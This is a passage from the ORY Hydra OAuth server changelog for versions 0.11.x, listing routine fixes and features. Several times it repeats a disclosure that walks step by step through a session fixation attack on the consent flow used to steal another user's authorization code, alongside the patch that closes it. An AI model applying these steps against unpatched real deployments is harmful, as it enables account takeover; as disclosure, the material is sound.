([340cea7](https://github.com/ory/hydra/commit/340cea76796a0c3a784f5cf930630d77ab22a48a)) * Resolves broken swagger definitions ([#812](https://github.com/ory/hydra/issues/812)) ([4125eab](https://github.com/ory/hydra/commit/4125eabb96cae588eeb8336c21a48b93b6e9a0b3)) * Resolves issues with book.json ([5ac721b](https://github.com/ory/hydra/commit/5ac721b0a153e45681aaaf14886ece6726ad3a14)) * Resolves issues with broken images and docs publish task ([39ea6c3](https://github.com/ory/hydra/commit/39ea6c375e3e47222ed95477f504436821977e91)) * Resolves uppercase readme redirects ([7e3dd70](https://github.com/ory/hydra/commit/7e3dd709cbb0f1c6ecc68d58de8b36f6638382b8)) * Updates banner in README ([#808](https://github.com/ory/hydra/issues/808)) ([605998f](https://github.com/ory/hydra/commit/605998f7747c9d98b218f83b3362f1fc01e793c9)) * Updates chat badge to discord ([5261ae1](https://github.com/ory/hydra/commit/5261ae1e5c3e322a94d5f8443f25b63f659edcba)) * Updates JSON Swagger specification ([1e1c1c1](https://github.com/ory/hydra/commit/1e1c1c138fe971b167b2c89594c89510a07281d1)) * Updates outdated links in README ([1ceaae2](https://github.com/ory/hydra/commit/1ceaae2b0e1c29ec12b46b4b0fe36eed4f11e23c)), closes [#788](https://github.com/ory/hydra/issues/788): The new website introduced a new link structure which broke links in the README. This patch resolves that. * Updates readme, contribution guide, and templates ([#806](https://github.com/ory/hydra/issues/806)) ([c12c629](https://github.com/ory/hydra/commit/c12c62935f0df4456c590e157d27c2f775f9acee)) * Updates recovering root access section to SQL ([9c923b6](https://github.com/ory/hydra/commit/9c923b63668b2c3f83553111a58c6eab1b04e85b)), closes [#756](https://github.com/ory/hydra/issues/756) * Updates summary ([4bcc8ed](https://github.com/ory/hydra/commit/4bcc8ede3f52d1314552867c30743b25a9e6362a)) * Updates various sections in README ([f1ca802](https://github.com/ory/hydra/commit/f1ca802f5b48dbb62d16f5765257d850267a9312)) * Upgrades install guide to v0.11.6 ([764282c](https://github.com/ory/hydra/commit/764282c2345554678cefed005cf117c6ef765ff8)) ### Unclassified * Updates license to 2018 ([fd0f06f](https://github.com/ory/hydra/commit/fd0f06f7e1d468357d253e63449dd3535636e1c4)) * Adds ability to flush old access tokens ([ed0aa28](https://github.com/ory/hydra/commit/ed0aa28c58a122c871da3c7a5bdee32196a662c4)), closes [#738](https://github.com/ory/hydra/issues/738): Previously, no way of removing old access tokens from the database. This patch adds a new endpoint (`POST /oauth2/flush`) capable of flushing old / stale access tokens. Additionally, `hydra token flush` was added which is the CLI command for flushing tokens using the api. * Adds newsletter sign up capabilities to CLI commands ([#759](https://github.com/ory/hydra/issues/759)) ([049f581](https://github.com/ory/hydra/commit/049f581d5bc126cb355ca95ad39ab3faf9730e10)) * Adds OpenID Connect refresh handler ([#797](https://github.com/ory/hydra/issues/797)) ([84ddafe](https://github.com/ory/hydra/commit/84ddafe52cdb85e683558bd036e0935e5b2c693d)), closes [#794](https://github.com/ory/hydra/issues/794): Previously, it was impossible to refresh OpenID Connect ID Tokens. This is now possible as the factory has been added to the oauth2 factory in the host process. * Adds support for PKCE (IETF RFC7636) ([343e216](https://github.com/ory/hydra/commit/343e216b6938cde0a8e611b872ffa81f3f92bc60)), closes [#744](https://github.com/ory/hydra/issues/744): This patch adds support for PKCE which is especially useful for native mobile apps. Spec: https://tools.ietf.org/html/rfc7636 * Allows anonymous users access to ./well-known/jwks.json ([f867fd9](https://github.com/ory/hydra/commit/f867fd99268bb3a7ca9f19b7ad58d15659215f85)), closes [#761](https://github.com/ory/hydra/issues/761): The ./well-known/jwks.json endpoint contains important, publicly accessible keys for validating signatures such as the OpenID Connect ID Token signature. Currently, this endpoint shows the public key for validating ID Tokens only. As this key is public, a policy was added which allows any user (including anonymous ones) to access this specific key. Thus, administrators no longer need to add a policy to allow access to this endpoint on a fresh installation. It is still possible to change this behaviour by removing the policy ("hydra policies delete default-oidc-id-token-public-policy") or replacing it. This change affects new installations only. * Correct docker exec wording ([bda2c6c](https://github.com/ory/hydra/commit/bda2c6c28c53d558894d1fd67e81c778b9ca2196)): `exec` is an nsenter, not an ssh * Forces JWK to have a unique ID ([acd0107](https://github.com/ory/hydra/commit/acd010726b5fc6367f317ff8b0cad3fbd036747c)), closes [#589](https://github.com/ory/hydra/issues/589): Previously, JSON Web Keys did not have to specify a unique id. JWKs generated by ORY Hydra typically only used `public` or `private` as KeyID. This patch changes that and appends a unique id if no KeyID was given. To be able to separate between public and private key pairs in resource name, the public/private convention was kept. This change targets specifically the OpenID Connect ID Token and HTTP TLS keys. The ID Token key was previously "hydra.openid.id-token:public" and "hydra.openid.id-token:private" which now changed to something like "hydra.openid.id-token:public:9a458aa3-65a0-4982-835f-343eec45183c" and "hydra.openid.id-token:private:fa353995-d77d-420a-b967-63bf0721271b" with the UUID part being random for every installation. This change will help greatly with key rotation in the future. * Forces UTC in consent strategy ([#775](https://github.com/ory/hydra/issues/775)) ([7c4fd7d](https://github.com/ory/hydra/commit/7c4fd7d1c15a1c38720481be6a4f38fd5f4708e3)), closes [#679](https://github.com/ory/hydra/issues/679): This resolves an issue when different timezones are used between systems by enforcing UTC everywhere. * Generate php sdk and point php autoloader to lib folder ([#736](https://github.com/ory/hydra/issues/736)) ([f84eb65](https://github.com/ory/hydra/commit/f84eb6586800a1d6497ec7892ca81529300f4c70)) * Improves naming of traits ([85e26a0](https://github.com/ory/hydra/commit/85e26a055b3f3be12bff1743cf16055ad530c450)), closes [#802](https://github.com/ory/hydra/issues/802) * Introduces pagination to client management ([#774](https://github.com/ory/hydra/issues/774)) ([02b3708](https://github.com/ory/hydra/commit/02b37086fadc2bf8478d433a45c6c4391d9bcf13)), closes [#739](https://github.com/ory/hydra/issues/739): Previously, all clients were returned by `GET /clients`. To mitigate DoS attacks against large databases, pagination has been introduced. * Parallelizes database instantiation in tests ([8e894bc](https://github.com/ory/hydra/commit/8e894bc0444042bda2398661d2d04536a0feac2c)) * Parallelizes database instantiation in tests ([a0d6a0d](https://github.com/ory/hydra/commit/a0d6a0d2afba05de529f49473c029724381d25ce)) * Persists config file right before starting the server ([7fb51e5](https://github.com/ory/hydra/commit/7fb51e594304a96cdfcb31f02af1d123ad88eb70)): Tests would fail because the config file is polled in order to check if the server is already started or not. Moving the persist command right before starting the server resolves issues with racy tests. * Remove unused code ([c97e764](https://github.com/ory/hydra/commit/c97e7649e188c042bc978d34b2ab469b39222b43)): This code was meant to be deleted in 9592a0069ed4b851cec8591038f9be5ce6d81a28 I believe. * Remove unused named returns ([8bba5a0](https://github.com/ory/hydra/commit/8bba5a007b463e8bb005720fc4cfef6b22a243c8)) * Resolves an issue with broken build time display ([#799](https://github.com/ory/hydra/issues/799)) ([5c847ea](https://github.com/ory/hydra/commit/5c847eac6bbf4c15b562c80a0bde8eb6260b0a9f)), closes [#792](https://github.com/ory/hydra/issues/792): Previously, the build time was always the current time. This patch resolves that issue. * Resolves broken JWK cast tests ([5740f32](https://github.com/ory/hydra/commit/5740f32bc82d1af373be561d2a577277cdd99791)) * Resolves broken sql schema test ([1b76f4b](https://github.com/ory/hydra/commit/1b76f4b898d4c3ce4a8fc26b967de763c77d5b61)) * Resolves composer license complaint ([#763](https://github.com/ory/hydra/issues/763)) ([6f9f906](https://github.com/ory/hydra/commit/6f9f90608db9376efa966271af1f8c4aaf31325e)): Composer complained because an unknown license was used "Apache 2.0" instead of "Apache-2.0". This patch resolves that. * Resolves possible session fixation attack ([1e80a1d](https://github.com/ory/hydra/commit/1e80a1d72ecc5db024f77eb91cf70e55ded41a5d)): This patch resolves a vulnerability in the consent flow. This vulnerability affects versions 0.10.0 ~ 0.11.5 only. Versions < 0.10.0 are not affected. The vulnerability can be exploited as follows: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id`. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malice accesses the original auth code url and appends the consent id: `https://hydra/oauth2/auth?client=...&consent=example-id` 6. As the consent request is granted but not claimed, and because Malice's user agent contains the valid CSRF token, Malice receives an authorize code that is meant to be issued to Bob. 7. Malice can now act on Bob's behalf. For this attack to work, the following preconditions must be met: 1. Malice must be able to convince Bob to access the forged consent url. 2. Malice must be able to convince Bob to grant the forged consent request. 3. Malice must be able to prevent the consent app's redirect after successful consent request acceptance. 4. Malice must be able to perform this attack within the expiry (10 minutes) of the consent request. For these reasons, an exploit for this vulnerability is not likely, but possible. This patch closes the described vulnerability by requiring a `consent_csrf` value additional to the `consent` value in the query parameters of the authorization url. Without that value, the authorization code flow will not be successful. The `consent_csrf` is transmitted out-of-band to the consent app and not accessible to Malice. Let's revisit the example from above: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... - Hydra creates the consent request id and an additional CSRF token which is stored in the database and the encrypted cookie. Malice is not able to see the CSRF token. 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id&consent_csrf=csrf_token`. The redirection URL is only accessible to the consent app and Bob's user agent. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malices does not know the value for `consent_csrf`, accessing `https://hydra/oauth2/auth?client=...&consent=example-id` without setting `consent_csrf` causes the request to fail and the consent to be revoked. This patch does not introduce breaking changes. Upgrading to the version which contains this patch does not require any code changes or deployment changes. * Skips parallelization when not using docker ([57d0b12](https://github.com/ory/hydra/commit/57d0b12b0dfbc9c3f75ff0643d9b373ba1b99951)): Previously, databases connected in parallel even when dockertest was skipped - typically in CI environments. This caused issues on those environments. This patch resolves that. * Stops creating client when secret is too short ([#764](https://github.com/ory/hydra/issues/764)) ([f818f85](https://github.com/ory/hydra/commit/f818f857c2015290df5a6ec34c33e8dbee7caedd)), closes [#725](https://github.com/ory/hydra/issues/725): Previously, clients were created despite an error which said that the secret was too short. This patch changes that and improves error output in the CLI as well for this command. * Strips client secret from output when client is public ([#765](https://github.com/ory/hydra/issues/765)) ([439267b](https://github.com/ory/hydra/commit/439267b0e480a888a6e0e0058b24f54f358b1841)), closes [#737](https://github.com/ory/hydra/issues/737): Previously a newly created public client had a secret send with the initial response and this secret was displayed in the CLI. Now it is clear that there is no secret needed for public clients. It is not displayed in the CLI anymore. * Updates license headers ([#793](https://github.com/ory/hydra/issues/793)) ([366ed57](https://github.com/ory/hydra/commit/366ed57d9c39d7601a40b5545f91361e6a2b9f5a)) * Updates text for newsletter signup ([#780](https://github.com/ory/hydra/issues/780)) ([459703f](https://github.com/ory/hydra/commit/459703f9ff39779b4547a5f86e204da32dc63731)): Before newsletter text did not seem to make clear that it is just for security information. * Use existing alpha-lower sequence ([343cb09](https://github.com/ory/hydra/commit/343cb096a713e0dc62cee9ae05f4261d68f58a03)) # [0.11.12](https://github.com/ory/hydra/compare/v0.11.10...v0.11.12) (2018-04-08) oauth2: Resolves failing SQL store test cases ### Documentation * Incorporates changes from version v0.11.4 ([99d954b](https://github.com/ory/hydra/commit/99d954bfa1f4af3365cdf69dea24ba190c10da4c)) ### Unclassified * Use packagist to get hydra sdk ([383b267](https://github.com/ory/hydra/commit/383b267646a1a0fbce3d83d10396f59cdfa7900e)) * Generate php sdk and point php autoloader to lib folder ([e2f8756](https://github.com/ory/hydra/commit/e2f875697363f3dba3d57c5ae8817cce3fd7b556)): Add docs/sdk/php.md * Resolves client secrets from potentially leaking to the database in cleartext ([#820](https://github.com/ory/hydra/issues/820)) ([848d479](https://github.com/ory/hydra/commit/848d4799dfc176972dd638dd9f241858224b6c27)): This release resolves a security issue (reported by [platform.sh](https://www.platform.sh)) related to the fosite storage implementation in this project. Fosite used to pass all of the request body from both authorize and token endpoints to the storage adapters. As some of these values are needed in consecutive requests, the storage adapter of this project chose to drop all of the key/value pairs to the database in plaintext. This implied that confidential parameters, such as the `client_secret` which can be passed in the request body since fosite version 0.15.0, were stored as key/value pairs in plaintext in the database. While most client secrets are generated programmatically (as opposed to set by the user) and most popular OAuth2 providers choose to store the secret in plaintext for later retrieval, we see it as a considerable security issue nonetheless. The issue has been resolved by sanitizing the request body and only including those values truly required by their respective handlers. This also implies that typos (eg `client_secet`) won't "leak" to the database. There are no special upgrade paths required for this version. This issue does not apply to you if you do not use an SQL backend. If you do upgrade to this version, you need to run `hydra migrate sql path://to.your/database`. If your users use POST body client authentication, it might be a good move to remove old data. There are multiple ways of doing that. **Back up your data before you do this**: 1. **Radical solution:** Drop all rows from tables `hydra_oauth2_refresh`, `hydra_oauth2_access`, `hydra_oauth2_oidc`, `hydra_oauth2_code`. This implies that all your users have to re-authorize. 2. **Sensitive solution:** Replace all values in column `form_data` in tables `hydra_oauth2_refresh`, `hydra_oauth2_access` with an empty string. This will keep all authorization sessions alive. Tables `hydra_oauth2_oidc` and `hydra_oauth2_code` do not contain sensitive information, unless your users accidentally sent the client_secret to the `/oauth2/auth` endpoint. We would like to thank [platform.sh](https://www.platform.sh) for sponsoring the development of a patch that resolves this issue. * Resolves failing SQL store test cases ([f6ddee8](https://github.com/ory/hydra/commit/f6ddee8f9a2d65dfa6c02adc402c1a61fa03d4a0)) * Resolves issue with godep, fosite memory store ([6ab7260](https://github.com/ory/hydra/commit/6ab7260f05d4e6c7fb80850f7d4cb6dafebcf1f6)): This issue solves a broken update with godep and properly includes the 0.17.0 fosite patch. * Uses UTC timecodes everywhere ([45eabc2](https://github.com/ory/hydra/commit/45eabc2bcf961b0faba5de432ed314e236702ae8)) # [0.11.9](https://github.com/ory/hydra/compare/v0.11.7...v0.11.9) (2018-03-10) metrics: Improves naming of traits (#803) Closes #802 ### Unclassified * Improves naming of traits ([#803](https://github.com/ory/hydra/issues/803)) ([dd06073](https://github.com/ory/hydra/commit/dd060731cab21d2d449f4c55c0c0f5f9b699337e)), closes [#802](https://github.com/ory/hydra/issues/802) # [0.11.7](https://github.com/ory/hydra/compare/v0.11.6...v0.11.7) (2018-03-03) cmd: Adds OpenID Connect refresh handler Previously, it was impossible to refresh OpenID Connect ID Tokens. This is now possible as the factory has been added to the oauth2 factory in the host process. Closes #794 ### Unclassified * Adds OpenID Connect refresh handler ([7594eb4](https://github.com/ory/hydra/commit/7594eb453970403e4b33d024ad9217e670cde537)), closes [#794](https://github.com/ory/hydra/issues/794): Previously, it was impossible to refresh OpenID Connect ID Tokens. This is now possible as the factory has been added to the oauth2 factory in the host process. # [0.11.6](https://github.com/ory/hydra/compare/v0.11.4...v0.11.6) (2018-02-07) oauth2: Resolves possible session fixation attack This patch resolves a vulnerability in the consent flow. This vulnerability affects versions 0.10.0 ~ 0.11.5 only. Versions < 0.10.0 are not affected. The vulnerability can be exploited as follows: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id`. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malice accesses the original auth code url and appends the consent id: `https://hydra/oauth2/auth?client=...&consent=example-id` 6. As the consent request is granted but not claimed, and because Malice's user agent contains the valid CSRF token, Malice receives an authorize code that is meant to be issued to Bob. 7. Malice can now act on Bob's behalf. For this attack to work, the following preconditions must be met: 1. Malice must be able to convince Bob to access the forged consent url. 2. Malice must be able to convince Bob to grant the forged consent request. 3. Malice must be able to prevent the consent app's redirect after successful consent request acceptance. 4. Malice must be able to perform this attack within the expiry (10 minutes) of the consent request. For these reasons, an exploit for this vulnerability is not likely, but possible. This patch closes the described vulnerability by requiring a `consent_csrf` value additional to the `consent` value in the query parameters of the authorization url. Without that value, the authorization code flow will not be successful. The `consent_csrf` is transmitted out-of-band to the consent app and not accessible to Malice. Let's revisit the example from above: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... - Hydra creates the consent request id and an additional CSRF token which is stored in the database and the encrypted cookie. Malice is not able to see the CSRF token. 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id&consent_csrf=csrf_token`. The redirection URL is only accessible to the consent app and Bob's user agent. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malices does not know the value for `consent_csrf`, accessing `https://hydra/oauth2/auth?client=...&consent=example-id` without setting `consent_csrf` causes the request to fail and the consent to be revoked. This patch does not introduce breaking changes. Upgrading to the version which contains this patch does not require any code changes or deployment changes. ### Unclassified * Resolves possible session fixation attack ([69cc450](https://github.com/ory/hydra/commit/69cc450f3d0079f2e991d89bfdf9efc6260a48d9)): This patch resolves a vulnerability in the consent flow. This vulnerability affects versions 0.10.0 ~ 0.11.5 only. Versions < 0.10.0 are not affected. The vulnerability can be exploited as follows: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id`. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malice accesses the original auth code url and appends the consent id: `https://hydra/oauth2/auth?client=...&consent=example-id` 6. As the consent request is granted but not claimed, and because Malice's user agent contains the valid CSRF token, Malice receives an authorize code that is meant to be issued to Bob. 7. Malice can now act on Bob's behalf. For this attack to work, the following preconditions must be met: 1. Malice must be able to convince Bob to access the forged consent url. 2. Malice must be able to convince Bob to grant the forged consent request. 3. Malice must be able to prevent the consent app's redirect after successful consent request acceptance. 4. Malice must be able to perform this attack within the expiry (10 minutes) of the consent request. For these reasons, an exploit for this vulnerability is not likely, but possible. This patch closes the described vulnerability by requiring a `consent_csrf` value additional to the `consent` value in the query parameters of the authorization url. Without that value, the authorization code flow will not be successful. The `consent_csrf` is transmitted out-of-band to the consent app and not accessible to Malice. Let's revisit the example from above: 1. Malice initiates an OAuth 2.0 Authorization Code Flow: https://hydra/oauth2/auth?client=... - Hydra creates the consent request id and an additional CSRF token which is stored in the database and the encrypted cookie. Malice is not able to see the CSRF token. 2. Hydra redirects malice to the consent app and appends consent id "example-id": https://consent-app/?consent=example-id 3. Malice convinces Bob to open url https://consent-app/?consent=example-id and authorize the access request. 4. The consent app would redirect Bob back to `https://hydra/oauth2/auth?client=...&consent=example-id&consent_csrf=csrf_token`. The redirection URL is only accessible to the consent app and Bob's user agent. However, through some means, Malice is able to prevent redirection of Bob's user agent. 5. Malices does not know the value for `consent_csrf`, accessing `https://hydra/oauth2/auth?client=...&consent=example-id` without setting `consent_csrf` causes the request to fail and the consent to be revoked. This patch does not introduce breaking changes. Upgrading to the version which contains this patch does not require any code changes or deployment changes. # [0.11.10](https://github.com/ory/hydra/compare/v0.11.9...v0.11.10) (2018-03-19) pkg: remove unused code This code was meant to be deleted in 9592a0069ed4b851cec8591038f9be5ce6d81a28 I believe. Signed-off-by: Euan Kemp <[email protected]> ### Documentation * Adds "Edit on GitHub" link to each document in guide ([ec6f000](https://github.com/ory/hydra/commit/ec6f000f34c1b8fd432ae64bb6b1e79ca8c8a32c)) * Adds automatic summary and toc generation ([#785](https://github.com/ory/hydra/issues/785)) ([02c878c](https://github.com/ory/hydra/commit/02c878c2de419703f641372bccc19fdde44a320b)) * Adds redirects for broken guide links ([#798](https://github.com/ory/hydra/issues/798)) ([fade6a3](https://github.com/ory/hydra/commit/fade6a3173aa06ee022fc56108d964a2140db4f7)) * Changes readme title" ([122f7d1](https://github.com/ory/hydra/commit/122f7d11a13c3a15b0db127f73c62b69c6769dc2)) * Clean up swagger specification ([2ad0a96](https://github.com/ory/hydra/commit/2ad0a96503531ff16c10d174454b37d49d30c8b4)) * Experiments with domain redirect ([2604b99](https://github.com/ory/hydra/commit/2604b99f6c936b1d54a6f5957e672f12758c4461)) * Fixes dead link to example policy ([#767](https://github.com/ory/hydra/issues/767)) ([4f3148e](https://github.com/ory/hydra/commit/4f3148ecd9d865accd13f4f1de04865c70a58d7b)): The policy linked to as an example has since been removed. Just point to a different policy instead. * Fixes redirect path ([d05c97b](https://github.com/ory/hydra/commit/d05c97b05b9742d75b101820502dd35c7a33e07c)) * Forwards docs to website ([560441d](https://github.com/ory/hydra/commit/560441d0420ee1a2e37cb98d16731e30db56b5cf)) * Improves API docs ([5a2e4df](https://github.com/ory/hydra/commit/5a2e4dfcfd136a1c5724255bd14bcf620bff14d4)) * Incorporates changes from version v0.11.4 ([6bf7e80](https://github.com/ory/hydra/commit/6bf7e800d45b68af7bfc050c8de97fdf492b116f)) * Lowercase source files and dirs ([6a56630](https://github.com/ory/hydra/commit/6a56630bbdaa492c86f386baa10ed3dcd5e1e7f6)) * Moves documentation to new repository. ([#800](https://github.com/ory/hydra/issues/800)) ([12a9c5c](https://github.com/ory/hydra/commit/12a9c5c029080198024fff98d73b531f734a6ac2)) * Removes apiary how-to ([6cbfa58](https://github.com/ory/hydra/commit/6cbfa58c6552f77ef4acd1cb949fbda6e5a69189)) * Removes summary plugin ([857d85f](https://github.com/ory/hydra/commit/857d85f250d202763ff987ab3efabf7e66d1fc7f)) * Resolves broken discord link ([8c445bc](https://github.com/ory/hydra/commit/8c445bc3f3d394d3670c716d7a736ebbaab3f3fc)) * Resolves broken header image link ([2820efc](https://github.com/ory/hydra/commit/2820efc1ae9662dfb1f3c74bb8aed258c13008aa)) * Resolves broken images and build ([#801](https://github.com/ory/hydra/issues/801)) ([4f6d2af](https://github.com/ory/hydra/commit/4f6d2af76fee775f39b23d68e0e40862117b18f0)) * Resolves broken links in docs ([b2698f1](https://github.com/ory/hydra/commit/b2698f173be00956f44ebfbb687b4c9127d094cc)) * Resolves broken redirects ([340cea7](https://github.com/ory/hydra/commit/340cea76796a0c3a784f5cf930630d77ab22a48a)) * Resolves broken swagger definitions ([#812](https://github.com/ory/hydra/issues/812)) ([4125eab](https://github.com/ory/hydra/commit/4125eabb96cae588eeb8336c21a48b93b6e9a0b3)) * Resolves issues with book.json ([5ac721b](https://github.com/ory/hydra/commit/5ac721b0a153e45681aaaf14886ece6726ad3a14)) * Resolves issues with broken images and docs publish task ([39ea6c3](https://github.com/ory/hydra/commit/39ea6c375e3e47222ed95477f504436821977e91)) * Resolves uppercase readme redirects ([7e3dd70](https://github.com/ory/hydra/commit/7e3dd709cbb0f1c6ecc68d58de8b36f6638382b8)) * Updates banner in README ([#808](https://github.com/ory/hydra/issues/808)) ([605998f](https://github.com/ory/hydra/commit/605998f7747c9d98b218f83b3362f1fc01e793c9)) * Updates chat badge to discord ([5261ae1](https://github.com/ory/hydra/commit/5261ae1e5c3e322a94d5f8443f25b63f659edcba)) * Updates JSON Swagger specification ([1e1c1c1](https://github.com/ory/hydra/commit/1e1c1c138fe971b167b2c89594c89510a07281d1)) * Updates outdated links in README ([1ceaae2](https://github.com/ory/hydra/commit/1ceaae2b0e1c29ec12b46b4b0fe36eed4f11e23c)), closes [#788](https://github.com/ory/hydra/issues/788): The new website introduced a new link structure which broke links in the README. This patch resolves that. * Updates readme, contribution guide, and templates ([#806](https://github.com/ory/hydra/issues/806)) ([c12c629](https://github.com/ory/hydra/commit/c12c62935f0df4456c590e157d27c2f775f9acee)) * Updates recovering root access section to SQL ([9c923b6](https://github.com/ory/hydra/commit/9c923b63668b2c3f83553111a58c6eab1b04e85b)), closes [#756](https://github.com/ory/hydra/issues/756) * Updates summary ([4bcc8ed](https://github.com/ory/hydra/commit/4bcc8ede3f52d1314552867c30743b25a9e6362a)) * Updates various sections in README ([f1ca802](https://github.com/ory/hydra/commit/f1ca802f5b48dbb62d16f5765257d850267a9312)) * Upgrades install guide to v0.11.6 ([764282c](https://github.com/ory/hydra/commit/764282c2345554678cefed005cf117c6ef765ff8)) ### Unclassified * Updates license to 2018 ([fd0f06f](https://github.com/ory/hydra/commit/fd0f06f7e1d468357d253e63449dd3535636e1c4)) * Adds ability to flush old access tokens ([ed0aa28](https://github.com/ory/hydra/commit/ed0aa28c58a122c871da3c7a5bdee32196a662c4)), closes [#738](https://github.com/ory/hydra/issues/738): Previously, no way of removing old access tokens from the database. This patch adds a new endpoint (`POST /oauth2/flush`) capable of flushing old / stale access tokens. Additionally, `hydra token flush` was added which is the CLI command for flushing tokens using the api. * Adds newsletter sign up capabilities to CLI commands ([#759](https://github.com/ory/hydra/issues/759)) ([049f581](https://github.com/ory/hydra/commit/049f581d5bc126cb355ca95ad39ab3faf9730e10)) * Adds OpenID Connect refresh handler ([#797](https://github.com/ory/hydra/issues/797)) ([84ddafe](https://github.com/ory/hydra/commit/84ddafe52cdb85e683558bd036e0935e5b2c693d)), closes [#794](https://github.com/ory/hydra/issues/794): Previously, it was impossible to refresh OpenID Connect ID Tokens. This is now possible as the factory has been added to the oauth2 factory in the host process. * Adds support for PKCE (IETF RFC7636) ([343e216](https://github.com/ory/hydra/commit/343e216b6938cde0a8e611b872ffa81f3f92bc60)), closes [#744](https://github.com/ory/hydra/issues/744): This patch adds support for PKCE which is especially useful for native mobile apps. Spec: https://tools.ietf.org/html/rfc7636 * Allows anonymous users access to ./well-known/jwks.json ([f867fd9](https://github.com/ory/hydra/commit/f867fd99268bb3a7ca9f19b7ad58d15659215f85)), closes [#761](https://github.com/ory/hydra/issues/761): The ./well-known/jwks.json endpoint contains important, publicly accessible keys for validating signatures such as the OpenID Connect ID Token signature. Currently, this endpoint shows the public key for validating ID Tokens only. As this key is public, a policy was added which allows any user (including anonymous ones) to access this specific key. Thus, administrators no longer need to add a policy to allow access to this endpoint on a fresh installation. It is still possible to change this behaviour by removing the policy ("hydra policies delete default-oidc-id-token-public-policy") or replacing it. This change affects new installations only. * Correct docker exec wording ([bda2c6c](https://github.com/ory/hydra/commit/bda2c6c28c53d558894d1fd67e81c778b9ca2196)): `exec` is an nsenter, not an ssh * Forces JWK to have a unique ID ([acd0107](https://github.com/ory/hydra/commit/acd010726b5fc6367f317ff8b0cad3fbd036747c)), closes [#589](https://github.com/ory/hydra/issues/589): Previously, JSON Web Keys did not have to specify a unique id. JWKs generated by ORY Hydra typically only used `public` or `private` as KeyID. This patch changes that and appends a unique id if no KeyID was given. To be able to separate between public and private key pairs in resource name, the public/private convention was kept. This change targets specifically the OpenID Connect ID Token and HTTP TLS keys. The ID Token key was previously "hydra.openid.id-token:public" and "hydra.openid.id-token:private" which now changed to something like "hydra.openid.id-token:public:9a458aa3-65a0-4982-835f-343eec45183c" and "hydra.openid.id-token:private:fa353995-d77d-420a-b967-63bf0721271b" with the UUID part being random for every installation. This change will help greatly with key rotation in the future. * Forces UTC in consent strategy ([#775](https://github.com/ory/hydra/issues/775)) ([7c4fd7d](https://github.com/ory/hydra/commit/7c4fd7d1c15a1c38720481be6a4f38fd5f4708e3)), closes [#679](https://github.com/ory/hydra/issues/679): This resolves an issue when different timezones are used between systems by enforcing UTC everywhere. * Generate php sdk and point php autoloader to lib folder ([#736](https://github.com/ory/hydra/issues/736)) ([f84eb65](https://github.com/ory/hydra/commit/f84eb6586800a1d6497ec7892ca81529300f4c70)) * Introduces pagination to client management ([#774](https://github.com/ory/hydra/issues/774)) ([02b3708](https://github.com/ory/hydra/commit/02b37086fadc2bf8478d433a45c6c4391d9bcf13)), closes [#739](https://github.com/ory/hydra/issues/739): Previously, all clients were returned by `GET /clients`. To mitigate DoS attacks against large databases, pagination has been introduced. * Parallelizes database instantiation in tests ([8e894bc](https://github.com/ory/hydra/commit/8e894bc0444042bda2398661d2d04536a0feac2c)) * Parallelizes database instantiation in tests ([a0d6a0d](https://github.com/ory/hydra/commit/a0d6a0d2afba05de529f49473c029724381d25ce)) * Persists config file right before starting the server ([7fb51e5](https://github.com/ory/hydra/commit/7fb51e594304a96cdfcb31f02af1d123ad88eb70)): Tests would fail because the config file is polled in order to check if the server is already started or not. Moving the persist command right before starting the server resolves issues with racy tests. * Remove unused code ([c97e764](https://github.com/ory/hydra/commit/c97e7649e188c042bc978d34b2ab469b39222b43)): This code was meant to be deleted in 9592a0069ed4b851cec8591038f9be5ce6d81a28 I believe. * Remove unused named returns ([8bba5a0](https://github.com/ory/hydra/commit/8bba5a007b463e8bb005720fc4cfef6b22a243c8)) * Resolves an issue with broken build time display ([#799](https://github.com/ory/hydra/issues/799)) ([5c847ea](https://github.com/ory/hydra/commit/5c847eac6bbf4c15b562c80a0bde8eb6260b0a9f)), closes [#792](https://github.com/ory/hydra/issues/792): Previously, the build time was always the current time. This patch resolves that issue. * Resolves broken JWK cast tests ([5740f32](https://github.com/ory/hydra/commit/5740f32bc82d1af373be561d2a577277cdd99791)) * Resolves broken sql schema test ([1b76f4b](https://github.com/ory/hydra/commit/1b76f4b898d4c3ce4a8fc26b967de763c77d5b61)) * Resolves composer license complaint ([#763](https://github.com/ory/hydra/issues/763)) ([6f9f906](https://github.com/ory/hydra/commit/6f9f90608db9376efa966271af1f8c4aaf31325e)): Composer complained because an unknown license was used "Apache 2.0" instead of "Apache-2.0". This patch resolves that. * Resolves possible session fixation attack ([1e80a1d](https://github.com/ory/hydra/commit/1e80a1d72ecc5db024f77eb91cf70e55ded41a5d)): This patch resolves a vulnerability in the consent flow. This vulnerability affects versions 0.10.0 ~ 0.11.5 only. Versions < 0.10.0 are not affected. The vulnerability can be exploited as follows: 1. Malice initiates an OAuth 2.0 Authorization Code 